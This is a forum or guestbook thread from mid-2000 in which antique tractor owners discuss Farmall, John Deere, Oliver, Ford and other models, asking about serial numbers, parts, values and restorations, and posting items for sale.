Mark Krieger wrote on Saturday, July 15, 2000 (PDT):I've got an "R" (used to have 2), an "80", "50" and a Farmall. The R is my favorite of all of them...it is such a pleasure to drive and hear the lugging through the straight pipe! It is especially fun to pull at tractor pulls. I've beat an 830 twice! None of my tractors are restored, but all are in good shape and are going to be easy restorations someday. I enjoy hopping on any one of them and just taking a drive through the country.
Bill wrote on Saturday, July 15, 2000 (PDT):The Moline tractors were a pretty smooth tractor, but they just weren't as good as the old olivers.
Eric Severance wrote on Saturday, July 15, 2000 (PDT):My Father and I are looking at an Oliver 77 diesel wide front , with a rod though the block , for a restoration project . The price is right , but I would like to locate a good used block , and or parts motor , before we take the plunge . I have located a couple of gas engines , and my question is ; Do the 77 gas , and diesels use the same engine block ? Some say no , and others say yes . My suspicion is yes . Any help would be much appreciated , Thanks .
Wesley Taylor wrote on Saturday, July 15, 2000 (PDT):I have a set of half tracks for an 8N Ford in good condition They were wsed very little . email your questions.
Scott Thomas wrote on Saturday, July 15, 2000 (PDT):What is this? I bought a acreage from a old farmer. In the old tool shed I found a old tag hanging on the wall. The tag is green with IH red painted on the back. The tag reads, ACCEPTED, serial no. 26394, Date 2-12-61 Inspected by (small punch out) If material does not arrive in first class condition return tag to works cheif inspector immediately stating nature of complaint International harvester co. Louisville works..... Does anyone know what this tag was on? Maybe a implement or tractor? I have no clue! Thanks for your help! Scott
Eric Thatcher wrote on Friday, July 14, 2000 (PDT):Great looking G. I didn't know Propane conversions for G's existed until I saw yours. Actually about two years ago I had a chance to buy one. There was an midwest trader for one. At the time I thought it was a misprint and could never contact the owner. Too bad I didn't try harder at the time. Who made the Propane conversion? Propane wasn't as popular here in west central Illinois as it was out west so not too many guys went to the trouble to convert.
Gary Johnson wrote on Friday, July 14, 2000 (PDT):My Dad had a 1952 ZA, it was one of the first tractors I ever drove. It is still in the family, doesn't run any more, engine is stuck. We used this tractor for every thing it seems like. I cultivated a lot of acreas with it, as well as mowing and raking hay. One of my older brothers has this one. Myself and another brother have a 1942 ZTS, it doesn't run either, but I hope to have it running by 2002. If any one knows of and engine that would fit either of these we may just be interested in it.
John Martin wrote on Friday, July 14, 2000 (PDT):What is the width of the outside of the tire track of a Farmall Cub?
BUD MADISON wrote on Wednesday, July 12, 2000 (PDT):I HAVE A MODLE "L" 1942 SERIAL # 640288 LOOKS GOOD HAS NEW TIRES. RUNS. WHATS IT WORTH ? ALSO HAVE 1942 INSTUCTION AND PARTS BOOK. NORTHERN OHIO
LARRY BALL wrote on Tuesday, July 11, 2000 (PDT):What is a Farmall "SUPER" Cub and what years were they produced? Also asking for opinions on Farmall Cub Low-Boy models. I have heard these have weak clutch's and they are prone to transmission problems. Thanks!!!!!!
LARRY BALL wrote on Tuesday, July 11, 2000 (PDT):Looking for Farmall Cub in or around Texas. With or without attachments, would pre-fer a fixer-upper! If pictures available willing to travel neighboring states! Also, I have located two Cubs that were in a warehouse fire, with most plastic parts, tires and radiator burned beyond use. How available are parts for these tractors and does anyone think there could be internal damage caused by a fire? Any feedback would be helpful. Thanks !!!!!!!!k
Roy Wolf, P.O. Box 105, Cedarville, IL 61013 wrote on Tuesday, July 11, 2000 (PDT):Question; The Waterloo Boy and the Hart-Parr were both two cylinder engines mounted in a horizontal fashion; what, if any, was the reason for this? The Rumley Oil Pull's engine was in the same position; did this possibly come about because of summilar research and development in the twenties? Is any one out there able to answer my questions?
Roy C. Wolf wrote on Tuesday, July 11, 2000 (PDT):It is sure nice to see an L Model John Deere; they had an LA John Deere 2cylinder combine engine in them; I bought a used one in 1956 with a mower, one bottom plow, and a one row cultivator. Mower hung on underneath and was driven by a belt attached to the drive shaft; the cultivator was a one row as you stranded the row to cultvate; mine had an innovated old car emergency brake installed on it to act as a handle clutch(someone thought it had to have a hand clutch to be a JD; the foot clutch was pushed by a bracket welded to it; I farmed with it as my only tractor near Russell,Iowa, in 1956 and 1957; I paid $300 for it and the attachments; that was the money I received when I was mustered out of the USArmy in 1956! Pleasant memeories of a bye gone era! I rake hay with it as we put up all the hay in stack there in southcentral Iowa--cattle country--wish I could go back and live those time over again. Everyone helped each other; is used a neighbors disk and corn planter and we plowed, mowed hay, and put up hay together!
Keith Harmon wrote on Monday, July 10, 2000 (PDT):Looking for a farmall cub for sale in alaska. I live in Norh Pole AK.
Bill Puller wrote on Monday, July 10, 2000 (PDT):Bought a Super 55 oliver 2 months ago (gas), would like manuel for it,also info on parts
cj wrote on Sunday, July 09, 2000 (PDT):You can if you can find a 6n?!? Just use money a tourch and a big enough hammer!!!
Craig Hayton wrote on Sunday, July 09, 2000 (PDT):I would like to send you before and after pictures of my Oliver Super 77 Diesel..I sent a text to you on April 22nd promising them to you, please let me know how.
Gary wrote on Sunday, July 09, 2000 (PDT):I recently purchased a Ferguson TO 35 with a hydraulic loader. I'am looking for a 1 or 2 bottom pull-type plow and a drag for it. I live in WI. and have recently purchased 5 acres of land and plan to raise farm market crops once I retire from my cheese plant job.
Wayde Brodkorb wrote on Sunday, July 09, 2000 (PDT):I am looking for parts for my massey harris sickle mower no6 if any body can let me know where I can find them please let me know thanks.
Judy Boles wrote on Sunday, July 09, 2000 (PDT):What are the best references on the history, capabilities, and operation of the 8N and 9N tractors?
Joel Williams wrote on Sunday, July 09, 2000 (PDT):I first saw one of these tractors at a show about eight years ago. The guy made a full pull out the other end and was going to take the sled around and back to the starting line but they wouldn't let him. The thing just wouldn't die. I knew right then I wanted one and I finally got it. Had to go all the way to Ontario Canada to get it bit I got it now. I collect Farmalls but I had to add this one to the collection. Looking for an 80 and an 830 next. This is an awsome machine for sure.
Amy McPheters wrote on Sunday, July 09, 2000 (PDT):I have what I thought was a Massey Pony. The serial number is 850046 I 4. There is another tag that has what appears to be E119 B. I would like to know what model I have. These numbers don't match the Pony numbers.
Trace Dowling wrote on Sunday, July 09, 2000 (PDT):I would like to know if someone has parts ,info, ect. for a 130. I just bought one and the hydraulic pump may have problems. if you know where I get information on one please mail me. THANKS ALOT!!!!!!
Tony Harris wrote on Saturday, July 08, 2000 (PDT):I purchased a 1959 730 diesel in 1996. It must have been mistreated for many years before I got it. After many hours and tearing it down completely and rebuilding it from the ground up it now runs like an ox. I understand why many folks are proud of their tractors. In a parade last memorial day weekend an older fellow smiled and gave me the thumbs up with a tear in his eye. That made all the hours of working on it and money spent all worth it. I love the sound they make under a load, that bark gets louder. I first heard a two cylinder diesel at two cylinder expo in 1995. I knew then I wanted one, and next year at age 26 is when I purchased my tractor. After 2 1/2 years of work it was complete, only I strongly recamend not restoring a tractor this size in a two car garage.
George Dorsey wrote on Saturday, July 08, 2000 (PDT):On my cub, i experimented and put agricultural 4-wheel drive type tires in the front, and i found that the tractor handles a bit better now.
Pat C wrote on Saturday, July 08, 2000 (PDT):I'm looking for a Oliver OC-3 crawler to restore or in good shape.
Lisa Cox wrote on Saturday, July 08, 2000 (PDT):Looking for a good fuel tank for 8n
GREG GATTERMEYER wrote on Friday, July 07, 2000 (PDT):Typo---E-mail-g_gattermeyer at Yahoo.com e-mail me any time!!!!!!!!
chris mason wrote on Friday, July 07, 2000 (PDT):I am looking for an Allis Chalmers single front axil tractor. It must be bigger than an A-C 204f. Price? up to $22,250? The condition must be fair and it must run. If it has a BC493K front loader that would be grate. The PTO MUST work!!!!!!!I am also willing to trade a mint condition Ford 8n funk converted general porpose tracter,plus chash!
Greg Gattermeyer wrote on Thursday, July 06, 2000 (PDT):My dad and I are looking for an old,compact tractor,preferily a Ford 8n. We don't care what shape it is, as long as it runs. If you can help me e-mail me at g-gattermeyer at yahoo!.com
L R wrote on Thursday, July 06, 2000 (PDT):I have an 1952 Olver 77 gas orchard tractor that is in very good shape. I am wondering how much it would sell for. Any information on the tractor dealing with the price or not would be greatly appreciated. Thanks
trent wrote on Thursday, July 06, 2000 (PDT):Hi, I own a 52 JD G it has also been coverted to LP it came from texas a few years ago was much more expensive then LP down south if you keep your eyes open you will see a few I was thinks of converting mine back but after seeing yours i am having second thoughts you have one nice tractor there Trent
Ray Brittner wrote on Wednesday, July 05, 2000 (PDT):Does anyone know the horse power rating on a 1940 Farmall A?
Ray Brittner wrote on Wednesday, July 05, 2000 (PDT):Does anyone know the horse power rating for a Farmall A?
Danny wrote on Wednesday, July 05, 2000 (PDT):We own a 1952 Ford 8N with a Funk OHV 6 cylinder, model 5,113. We are looking for information on the serialized tractors.
Pat wrote on Wednesday, July 05, 2000 (PDT):I have a 1945 VAI which was once owned by the state. I believe this tractor had a belly mower on it.It came with a gearbox belt driven which sends the pto foward underneath and also has a lever on it which activates a cable lift.anyone seen one of these I would like a original mower.thanx
Ken Roffel wrote on Wednesday, July 05, 2000 (PDT):I own a 1947 Farmall A completly restored and now am looking for an "M" to restore or one that has been restored to original. I live in Langley, British Columbia and would like to hear from someone close enough that has one for sale. Growing up on the farm in Southern Ontario just outside of London the major field work was done with the "M" It was an excellent tractor for our size of farm (200 acres) and along with the Little "A" it worked hard in the heavy clay soil of the region. We have raised our family and now it's time for a couple of new toy's. I wanted a new convertible and decided that both the A and M would give me all the sunshine I need but at a much safer speed. I recall the M having a very high road gear and can still feel the warm Southern Ontario wind blowing across the hood. Please let me know if you have one for sale or know of an M wanting a good home. Regards, Ken
Ken Roffel wrote on Wednesday, July 05, 2000 (PDT):I have a 1947 Farmall A that has been completely restored. The 3 year project was worth the effort as the Little "A" recently won first place at the May Day celebrations in Fort Langley, British Columbia. Fort Langley is also the home of the First Capital of British Columbia. The tractor pictured above is identical to mine. My serial numbers also start with FAA and the tractor is a "Cultivision A I have applied for a collector plate from the Provincial Government in order to run the tractor legally on the streets during parades. However, since the tractor was never registered and I do not own a farm, the process is taking longer than expected. Any restorations of Farmall A's going on near where I live, I would be delighted to offer any tips or suggestions.
Bucky Stevens wrote on Tuesday, July 04, 2000 (PDT):I just bought a 15 30 McCormick Deering crawler an auction. It is in good condition and has seen very little work, the part numbers are very visible on brake and clutch pedals. It runs and drives very good. I would like to find the right carb & throttle/governor linkage. I also need to find a radiator core
Dave wrote on Tuesday, July 04, 2000 (PDT):What is the best way to tell the difference between an 8n and 9n.
Ted Johnson wrote on Tuesday, July 04, 2000 (PDT):I'd really love to find an AC Model G in North Carolina or Virginia. Any condition.
Bud Smith wrote on Tuesday, July 04, 2000 (PDT):I have located a 1952 AC "G" model which my friend wants to sell. It is in fair condition. It has been outside for about 9 years. It seems to be complete but there are no attachments. The enginge is locked but all together. What is a fair price for both he and I.
Alan Erwin wrote on Tuesday, July 04, 2000 (PDT):I have a 1951 Cub "A", I'm looking for a orginal belly mount mower.
Lynda Weese wrote on Tuesday, July 04, 2000 (PDT):I have a farmall that looks like the picture. I am unsure of the year at this time. It has a hydrolic bucket also. I am considering selling it. What should I ask for it? It is used on the farm daily. Thanks Lynda
Mike S wrote on Monday, July 03, 2000 (PDT):My father has 47 Oliver 60 he bought new with several pieces of equipment.He sold most equipment in farm sale 30 years ago. Would like to sell 2 row cultivators.
Aaron C. Tank wrote on Monday, July 03, 2000 (PDT):Hello, This question is for a DC tractor rather than a VC tractor (sorry...) I am planning to purchase an early 1950's Case DC tractor (possibly a DC3?) and would like to adapt it so it can use some of our 3-point implements. However, it does not have an eagle hitch... Does anyone have any suggestions as to how I could adapt this Case DC so it could use smaller 3-point implements? Thank you. Sincerely, Aaron C. Tank
Carl Sabo wrote on Sunday, July 02, 2000 (PDT):I bought my tractor three years ago and have found it to be pretty reliable. I think the select-o-speed has been great. I, too, find that until the fluid warms up the tractor won't lock in park. Is it some thing to worry about?
Chag Gallien wrote on Saturday, July 01, 2000 (PDT):My girlfriends father has a 77 we are starting work on. We are looking for some good rims and would like to know if anyone knows of a set and how much they are going for. Thanks.
Doug Kroese wrote on Saturday, July 01, 2000 (PDT):I have my eye on a 1938 Styled L, Serial #626145. Runs well, tires are good, sheet metal fairly straight. Recent restoration by ametuer. What is a fair price for this tractor?
darin wrote on Saturday, July 01, 2000 (PDT):I need the metal piece that starts at the grill and goes around the top of the hood with hinged cover on one end it covers the radiator cap need one in good condition for my super 77
Roy C. Wolf wrote on Saturday, July 01, 2000 (PDT):I think the "M" was the greatest tractor ever built. I was born in 1931. The first tractor I ever start was my Dad's 15-3o McCormick-Deering. Then I drove an 1929 Farmal. Later a F-20; then an "H", but somewhere in there I drove my Grandfather's JD "B"--I drove a lot of JD's, but was always in love with the IHC line. Even today I feel Case-IH are the best line. Thank you for being able to view bygone eras.
KEN SHEREN wrote on Friday, June 30, 2000 (PDT):I have been told I have a Int. 300 LPG Grove tractor.I found it in a salvage row at a auction a number of years ago .With all the grove sheetmetal on it, from the front it looks like a big bug,if there were some big eyes painted on it.It is pretty rough,but it would not run any better if it was new.I was told that there was a couple of independent companies that produced the sheet metal for these grove tractors.Also no ID. plate available.Steering gear is under steering wheel (sort of,steering shaft extended because of LPG conversion). This would be a real conversation piece when done .Any info appriciated.
Dan wrote on Thursday, June 29, 2000 (PDT):I think what he was saying is that the Model Z tractor first appeared in 1937, not this particular tractor.
Jesse L. wrote on Thursday, June 29, 2000 (PDT):I'm 19 years old and started restoring my own tractors when I was 15. I just aquired a 1949 "R" Diesel about a month ago form a good friend who has owned it for 10 years. What a neat tractor it is. Its just somthing about that knocking diesel sound they make that makes them so unique. This "R" that I have is in excellent orginal condition. It has 5400 original hours on it, the hour meter stiil works I hope to use it this fall to do custom plowing for neighbors.
Ron Breakwell wrote on Thursday, June 29, 2000 (PDT):I have a MH 81-S,very good condition runs well.I,m looking for a service manual for this model.Can anyone help me on where I might get one.I broke an axle and was able to find one at a tractor wreaker in Saskatchewan Canada.Phone # 1-306-257-3557.Smiths Tractor Wreaking
John Houser wrote on Wednesday, June 28, 2000 (PDT):When I was a kid, back in the 1950's, I worked with my dad's VC Case. It had a "bolt-on" sickle-bar mower and I cut hay and straw with it. We also used it to pull hay wagons. It was a good size for that type of work. Dad also had an SC, a DC, and a 500 Diesel. He liked Case tractors.
Larry Winder wrote on Wednesday, June 28, 2000 (PDT):I was wondering what year the 17-30 and 18-30 Hart-Parr Tractors were built.
Kenny Ohnstad wrote on Tuesday, June 27, 2000 (PDT):serial numbers, production dates, manuals (owners, operators and shop) can be found at this same website. just dig around a little bit. I have a 450 that I use for brush cutting, lifting, snow removal, etc. I love it. I want to find a deal on an M, (and will, sooner or later) to rebuild and use in antique pulls. (my 450 was built in 57 which excludes me from many organized pulling meets)
Jim Prior wrote on Tuesday, June 27, 2000 (PDT):Thanks for the info John. But, I know where the Belt pully lever is. The two levers I'm talking about are located on the side of the bellhousing. One lever is for the hydraulics, but the other lever remains a mystery. Both levers are on the right side of the tractor when sitting in the seat and both can be controlled while sitting there also.
John Bishop wrote on Monday, June 26, 2000 (PDT):I have an 8n tractor and the brakes are completely useless. What should I do or where could I find brakes for my tractor? It is very dangerous to run because when I say no brakes I mean no brakes at all! Other than the breaks the Ford 8n tractor is the best I have ever owned!
Cornelius wrote on Monday, June 26, 2000 (PDT):My dad has owned an "R" John deere for 35 years, he's probably rebuilt it one end to the other already, but as long as we can get parts for it we'll keep using it. I never want to be without one!
david wrote on Monday, June 26, 2000 (PDT):I have a M670 that I am using on the farm and it is operating very well at this time. Does any one have pictures of this tractor? What is it's value? Should I keep farming with it or retire and restore?
john wrote on Sunday, June 25, 2000 (PDT):Jim Prior,one of those levers control the hydraulic system, the clutch must be out for the pump to work. the other is probably the control to engage the belt pulley,which may or may not be on your tractor.
Wayne Pridham wrote on Sunday, June 25, 2000 (PDT):I have aquired a 1941 model"v"Case.It runs good,and has a continental engine.This tractor is a cranker with magneto. Hope to restore it.Needs an exhaust manifold,and a heat gauge.Case history book shows rims were black.Anyone who has seen one, please let me know at wspridham at golden.net Wayne Pridham Ontario,Canada
Sam Taylor wrote on Sunday, June 25, 2000 (PDT):My serial number is 141750. Can someone tell me whst year this may be. Also I am interested in buying attachmnets and spare parts.
Sam Taylor wrote on Sunday, June 25, 2000 (PDT):My serial number is 141750. Can someone tell me whst year this may be. Also I am interested in buying attachmnets and spare parts.
Jim Hobbs wrote on Sunday, June 25, 2000 (PDT):My dad had a 1950,we called a U regular but it was like the UTS.Thre was no hydraulic,PTO or belt wheel n it.Everthing was strong arm power.I had the priviledge of being the #1 driver. I wish i could drive again.
Dan wrote on Sunday, June 25, 2000 (PDT):what is the HP of this toy
Dick Hoffman wrote on Sunday, June 25, 2000 (PDT): I have an OC3 Dozer with a cage over it. I use it a lot around home. It is in nise shape and I have a lot of spare parts. A complete undercarrige, frame and transmission. I installed an alternator and 12 volt battery, lights and gauges. I saved all the old parts for anyone to go back to orig. I am moving soon and have no need for it anymore so I will be selling it. Anyone looking for a great little machine with all the spares send me an E-Mail. I am in Cle Elum Wa.
Brian Tracey wrote on Sunday, June 25, 2000 (PDT): Hi. I recently bought a farmal M with no motor,(not a problem ) the local pulling club is starting a V8 class. so at the moment I'm finishing a 500 hp (built) Big block Dodge . I have pulled 4x4 trucks, but this is my first pulling tractors
Sam C wrote on Sunday, June 25, 2000 (PDT):As Arlene wrote on June 9, 2000, I have a tractor that I thought was a Farmall Cub, Number on tractor is 351686-R2 and 251228-R-1 on the engine. The numbers seem to be more consistent with Super A's. Can anyone advise
Dave Jewson wrote on Saturday, June 24, 2000 (PDT):I have a book on the early Olivers. It was written by T. Herbert Morrell, an engineer with Oliver from 1944 until approximately 1970. The book deals mostly with the development of the Fleetline tractors (66, 77, 88, etc.), but does delve into the history of Hart Parr and Oliver tractors to help show the advancements brought forth by these tractors that helped shape the design of the Fleetlines. This book has many pictures of beautifully restored tractors from Hart Parrs to Fleetline Olivers. All the Oliver 60's, 70's, and 80's from about 1938 through the end of production of those models and all the way through the Super series of tractors had yellow grilles. Starting with the three digit series (550, 660, 770, 880, etc.) the grilles were white. The reason I gave 1938 as a rough date is that I know that the 60's changed that year to the streamlined bodies, but I do not know if that was a unilateral change or if the other models changed over a couple of years.
DAVID COULTER wrote on Thursday, June 22, 2000 (PDT):I HAVE A 52 G I OVE THIS TRACTOR I RESTORED THIS TRACTOR TWO YEARS AGO I HATE TO BRAG I HAVE SHOWED IN ALOT IN TENNESSEE KENTUCKY I BELIEVE MINE IS THE SHARPES ONE I HAVE SEEN
Dale Oquinn wrote on Thursday, June 22, 2000 (PDT):To William Brown On some tractor transmission and rearend housing the idled shaft has a retaining bolt to keep it in place. When Broken Or worn out it produces all the syntoms you have, further use can damage the ring and pinion in rear end. It's not very hard to fix. Mack Oquinn and Sons Tractors, Cameron NC 28326 9194992985
Rhonda Fundrburk wrote on Thursday, June 22, 2000 (PDT):Bobby Reagan, if you will email me a phone number or email me with a price list for a motor and a hood I will be glad to get back in touch with you. I found this tractor in a feild when I went to look at a John Deere the man had. I had never seen one like it so I bought it. I bleed green and know nothing about red tractors. Thank you for the info and any help is appreciated. Thanks again.
Gene Richards wrote on Thursday, June 22, 2000 (PDT):I am in Massachusetts and have a John Deere Model L for sale(Ser. 621170). It is in need of some work and parts but is in running condition.
Pete wrote on Wednesday, June 21, 2000 (PDT):I have a G705LP,don't know what year. I think maybe a '63.Runs good but I can't use it because the power take off shaft is broken.I only use it to cut grass.Does it have to be split in half to repair and can you still get parts? Anyone Help
DALE RASKA wrote on Wednesday, June 21, 2000 (PDT):MY BROTHER HAS A SUPER M. SERIAL # F4699 J AND ALSO A MODEL H SERIAL # 325648+1 CAN ANYONE TELL US WHEN THEY WERE MADE? WE ARE REBUILBING THE H AND THE M IS JUST RECENTLY PURCHASED. THANK YOU
tim wrote on Wednesday, June 21, 2000 (PDT):for any one out there, the Farmall "B" has 2 wheels, the "BN" has 1.
Jeff wrote on Tuesday, June 20, 2000 (PDT):Hey all you "Z" lovers out there! First of all, Yes that HAS TO BE a 50's ZB... Secondly, We have a '53 ZAS almost restored with a 206G Engine. Does anyone around have one like this? I'd love to see a picture so we can get proper decals and decal locations. Thanx!
andy pyle wrote on Tuesday, June 20, 2000 (PDT):The best driving little tracter I have ever driven was a model g alice chalmers
Frank Slapar wrote on Monday, June 19, 2000 (PDT):My father owned a 1945 Oliver 70 and it had a yellow grill. It was the nicest driving tractor at that time.
DAVID JONES wrote on Monday, June 19, 2000 (PDT):JUST PURCHASED A 1947 9N.THE MAN I PURCHASED IT FROM, HAS HAD IT IN HIS GARAGE FOR THE PASSED 25 YEARS.IT LOOKS BRAND NEW.6 HOURS ON NEW ENGINE. I HAD TO PROMISE TO TAKE CARE OF HER BEFORE HE WOULD CONSIDER SELLING HER TO ME.I FEEL PRIVILEGED TO HAVE HAD SUCH AN OPPORTUNITY, TO HAVE SUCH A PEICE OF HISTORY.ANY ADVICE TO KEEP HER IN SUCH CONDITION WOULD BE HELPFULL.DAVID
Jeff Booker wrote on Monday, June 19, 2000 (PDT):Started the restoration of the 9N with Ferguson System that has been working faithfully on the farm since my grandfather bought it new. As with several of the other folks on this page, I started to get confused about the serial number though. It appears to be a '41 or '42, and a Ford dealer once told me it was a '42. Yet the serial number on the block is '9NI54780*'. My understanding is that the '*' indicates steel cylinder sleeves versus cast iron. I recently was informed that Ford used the 'I' to represent the numeral '1'...so is this a '41 9N with a serial of 54780 or a '44 2N (even though the prefix is 9N!!)?? The characteristics definitely don't look like a '44, and it has the Ferguson System hood emblem as well as Ford's. But like Mike asks, how can a 9NXXXX be over the 105412 production number?
Ron Ferrando wrote on Monday, June 19, 2000 (PDT):I just bought a 420 crawler. The unique thing about my 5 roller crawler is that it has a backhoe unit attached. To date I don't know of another. I also have the five speed tranny. I paid $4,000 for the crawler and trailer. It this too much? It runs great, the undercarriage is 75to 80% and the hydrolics need work. I've been working it pretty hard and it seem to keep on crawling, any comments?
Jim Prior wrote on Monday, June 19, 2000 (PDT):I just purchaced a farmall M. There are two control levers, both controlled from the operators position and both on the right side of the tractor as you're sitting in the seat. One lever is located approximately around the clutch area and the other is about six inches further back. When the rear lever is engaged, it feels like gears meshing but, the front lever, feels like nothing is happening. I hope there is someone that can tell me what these two control levers do.
Jack LaFrinere wrote on Sunday, June 18, 2000 (PDT): I'm looking for a steering wheel for my Allis-Chalmer, model G. tractor.
John wrote on Sunday, June 18, 2000 (PDT):I have aquired a 1948 DI with the HOUGH loader.The tractor has a blown engine.Will another model engine fit this tractor ?? Any information is appreciated..
Dana Hughes wrote on Saturday, June 17, 2000 (PDT): My dad has a 1946 case and I don't know if it is a VA or what. I am buying him a manual and I want to make sure I get the right one. I would be grateful for any help.
Doug Salmon wrote on Saturday, June 17, 2000 (PDT):Have a chance to buy an R in fair condition. Runs OK but needs worked on. Rubber poor. What would be a fair offer to purchase. Somebody give me an idea what an R is worth these days. Thanks.
Wayne Pilchak wrote on Saturday, June 17, 2000 (PDT):My model R pup starter magnito isn't throwing any spark. Is there any way of testing the coil as i've put new points and condencer in. Everything else seems to be okay,moving freely , no rust. Appreciate any comments.
Alan Soper wrote on Friday, June 16, 2000 (PDT):I have a 1944 Case D,need information on tightening the chains in the rear differential. should I remove a link in the chains or have to replace them?
Carl Holloway wrote on Friday, June 16, 2000 (PDT):I just purchased an f-12 that has been in storage for 20 someodd years. The tractor is on steel but has a set of rims to go with it. If anyone has the time to email me with information about my new project it would be greatly appreciated. The previous owner said it was a very rare tractor with two transmissions and one of the first three point lifting mechanisms to be used on a tractor.
TC BROWN wrote on Thursday, June 15, 2000 (PDT):I just purchased a case VAI, I beleve to be in the early forties. I would like to know if the electrical system is six or twelve volts. Also I find inbosed on the cam gear cover an eagle standing on a ball, it looks like it could be a military simbole. I'm open to any comment on this.
Brendon wrote on Wednesday, June 14, 2000 (PDT):I have an 51 R, which the 80 replaced, excellent tractor, The reason they start so easily is so long as the fuel system has not lost its prime, there is fuel at the injectors ready to go, all you have to do is hit a power stoke and away she goes. But, DO NOT run any of those 2 cyl diesels out of fuel, I know, I did it to mine. It took 10 tankes of fuel on the pony motor and constant bleading of the fuel system to make her run again. I almost had to take the valve cover off and crack the lines at the injectors to get the air out of the system. They are a pain to start after you change the fuel filters or run em out of fuel.
Dan Grove wrote on Wednesday, June 14, 2000 (PDT):I am rebuilding a 1947 Oliver 70 Row Crop. Does anyone have information concerning this particular model. I question the yellow grill on your picture of the 1945 Oliver. I have been told the yellow grill did not appear till 1948 on the models 77 and 88. Enjoyed this website. Please contact me regarding this. Thank you for this website.
John Pape wrote on Wednesday, June 14, 2000 (PDT):Hi, in Seguin, TX I am needing to part with a model L styled 1939 0r 1940 John Deere tractor in good running condition? If interested e-mail for info.
Daniel wrote on Wednesday, June 14, 2000 (PDT):go to a tractor dealer
daniel wrote on Wednesday, June 14, 2000 (PDT):Iwant to know if I could put a 454BB 600hp in a 6n
Kenton Stanek wrote on Wednesday, June 14, 2000 (PDT):I have currently inharreted my grandpa's AC'G and are in the process of restoring and I would like to know what a fully restroyed G is worth thanks .Bolivar,MO
Bruce wrote on Wednesday, June 14, 2000 (PDT):My son, age 11 wants to restore a G706 but I don't know what year it is. It's in pretty bad shape and is LP powered. Is it worth our time. Thank you.
Bill Cranston wrote on Tuesday, June 13, 2000 (PDT):I have a 1946? D that has every piece on including the cast grill and original radiator and gas caps. would like to sell it. it does not run although it turns over. somebody make me a reasonable offer. Located in ne nevada.
Bud F. wrote on Tuesday, June 13, 2000 (PDT):Purchased a 1945 9N Ford Ferguson a couple of weeks ago. Found out there was oil getting into the radiator. Also found that it has a burnt valve. We are in the process of rebuilding it. We already have one totally restored and it runs sweet. PAINTED ALL GREY.
Chad Isham wrote on Tuesday, June 13, 2000 (PDT):Need a PTO for a Farmall A model. Any suggestions for a source appreciated.
Brent wrote on Tuesday, June 13, 2000 (PDT):www.ytmag.com/jd/wwwboard1.html Fix for a JD tractor-junkie
Brent wrote on Tuesday, June 13, 2000 (PDT):For the John Deere enthusiast Checkout; www.ytmag.com/jd/wwwboard1.html
Kevin Smolkowski wrote on Monday, June 12, 2000 (PDT):Why don't more of you all post pictures of your tractors? I am in the middle of my Model R restoration and love posting the story as I go. www.smolkowski.com/tractors
Henry Darilek wrote on Monday, June 12, 2000 (PDT):I am looking for an engine for a Model H. Does someone know of a salvage yard in the central Texas area that might have one? What should one expect to pay for a junker that is rebuildable? Will the engines of other models fit? Thanks
Jim Phelps wrote on Sunday, June 11, 2000 (PDT):My 1947 VAI had only a hitch point, but it came with a PTO and Hyda. as it was equipted with a six foot side mount mower.
DAVE LIEBERMAN wrote on Sunday, June 11, 2000 (PDT):I HAVE A MODEL 42 SILVER KING I AM TRYING TO FIND THE YEAR AN INFO ON IT ANY ONE CAN HELP PLEASE EMAIL ME THANK YOU
rythking wrote on Sunday, June 11, 2000 (PDT):a couple years back my uncle got a case IH 7110 with a woods batwing mower stuck in a small gulley and our first choice in pulling it out was MM G706 LP. we positioned the MM on a ridge in front of the stuck vehicle and hooked on with heavy duty log chains. The MM roared as she pulled against the weight, but unfortunately, the stuck 7110 was no match for the "old pig" as we call it. All four wheels on the MM bit and clawed, but it only managed to dig itself into the ground. we had to jerk it forward and backwards in order to get it out of the holes it dug for itself. Needless to say, we resorted to a bigger tractor, a Case IH 9270 4wd articulated - which had not problem freeing the mower tractor. However, I still like the MM - its a great old tractor
patricia gaynor kosluk wrote on Sunday, June 11, 2000 (PDT):i am looking for 2010 john deere tractor which was stolen between 11\99 to2\00 that might have been sold. it was taken from worchester township pa. i am the only daughter of a man of aldheiemeiers who was 74 who in the last 6 months i took him home to live with me after taken him out of his 10 acre home leaving behind his 5 tractors[i had too promise him to get him to go i would make sure that they be there when he returned[i would take him almost every other day just to see these tractors and it would make him feel better[he loved them he may have never have used them alot but i knew seeing them made him tick and alive.the rest of the story goeslike this the day came in the last few months i took him home to see his tractors and the moral of the stoy that day was the tractors were gone. SOME MAGGOT CAME IN THE DAY BEFORE AND STOLE ALL OF MY DADS DREAMS MEMERIES ALL THAT LEFT CONSIDED OF.what anightmare 2v months later he diedof brain cancer only after the lose of those stupid tractors..i know its alot to ask can anyone help me ... i dont want to hurt anyone who mqy have bought one of these tractors I ONLY WANT THE INFO ON THE PESON WHO PEOPLEWHO STRIPED ME OF MY PROMISE TO MY DAD.i am offering a 10,000 reward only for the thief.. you may keep the tractor all legal paperswill be made up forunknowing buyer]on confirmation on registry number]buyer will not be prosicuted the buyer may keep tractor or tractorsany info on MAGGOTTS will help please...i will put this in writing...see attorny AUTHER GUtkin ESQ.for serious aquires only.reward will be paid with conviction
Jon wrote on Saturday, June 10, 2000 (PDT):My Dad has an 8N and the 3pt hitch is not working properly. It will lift lighter implements such as the mower. But it will not lift the rake. We have had the pump apart and it seems to be ok. Any suggestions?
Arlene D. wrote on Friday, June 09, 2000 (PDT):I need to know what year the cub tractor is. the #,s are 215716-J and 351686-RS-L2X? thank you!
Adam Long wrote on Friday, June 09, 2000 (PDT):I am in the process of purchasing a Farmall Regular which I believe is a 1928 model. It has had the original steel cut off and was replaced with rubber. If anyone could help me on locating a set of these wheels it would be greatly appreciated!
Adam Long wrote on Friday, June 09, 2000 (PDT):I am in the process of purchasing a Farmall Regular, which I believe is a 1928 model. The Steel wheels have been cut off and replaced with rubber front and back. If anyone could help me locate a set of these it would be greatly appreciated!
William Brown wrote on Friday, June 09, 2000 (PDT):I have a 44BR, Butane Row Crop, it creeps out of first gear when under a load, a lot of gear whine in 2nd gear, and clutch hangs up once it is put into neutral. Any suggestions how to cure any of these problems?
Travis C. Jones wrote on Friday, June 09, 2000 (PDT):My e- mail address changed sorry for any inconvience it may have caused anyone. I still have a 1947 Farmall b runs good,desent tires but weather checked,new paint 4-sale
Dale Oquinn wrote on Thursday, June 08, 2000 (PDT):To Sarah Sisson on another page in this web site has resent purchase prices Massy Haris Tractors one like yours was listed at 1200 Dollors. We paid 1600 Dollors for the 44 Massey we restored. It trrned into a Like new Show Tractor.
